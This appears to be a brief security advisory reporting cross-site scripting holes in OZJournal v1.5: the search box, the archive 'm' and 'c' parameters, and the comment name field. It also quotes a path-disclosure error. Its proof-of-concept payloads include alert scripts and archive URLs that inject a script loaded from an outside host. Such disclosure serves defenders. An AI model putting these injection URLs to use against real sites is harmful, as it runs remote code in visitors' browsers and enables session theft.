OZJournal v1.5 - XSS

OZJournal v1.5

Homepage:
http://ozjournals.awardspace.com/index.php

Affected files:
search input box
index.php
viewing archives
show comment page

XSS vulnerability via search input box:

Data isn't properly sanatized before being displayed. For a PoC in the search input box put: <script>alert('Hello')</script>. A full path disclosure error also will occur with this example due to functions.php.

Warning: preg_match(): Unknown modifier 'c' in /home/www/site/functions.php on line 570

XSS vuln viewing archives by month via m variable.

PoC:

http://example.com/index.php?show=archives&amp;y=2006&amp;m=&lt;script&#37;20src=http://www.youfucktard.com/xss.js&gt;&lt;/script&gt;

XSS vuln viewing archives by category via c variable:

http://example.com/index.php?show=archives&amp;c=http://ozjournals.awardspace.com/index.php?show=archives&amp;c=&lt;script&#37;20src=http://www.youfucktard.com/xss.js&gt;&lt;/script&gt;

XSS vuln after submitting a comment.

Data in the input name box isn't sanatized on the show post comments screen after submitting a comment.

However, when displaying comments in the journal everything is properly sanatized and filtered. For a PoC

in the name input box put:

<script>alert('Hello')</script>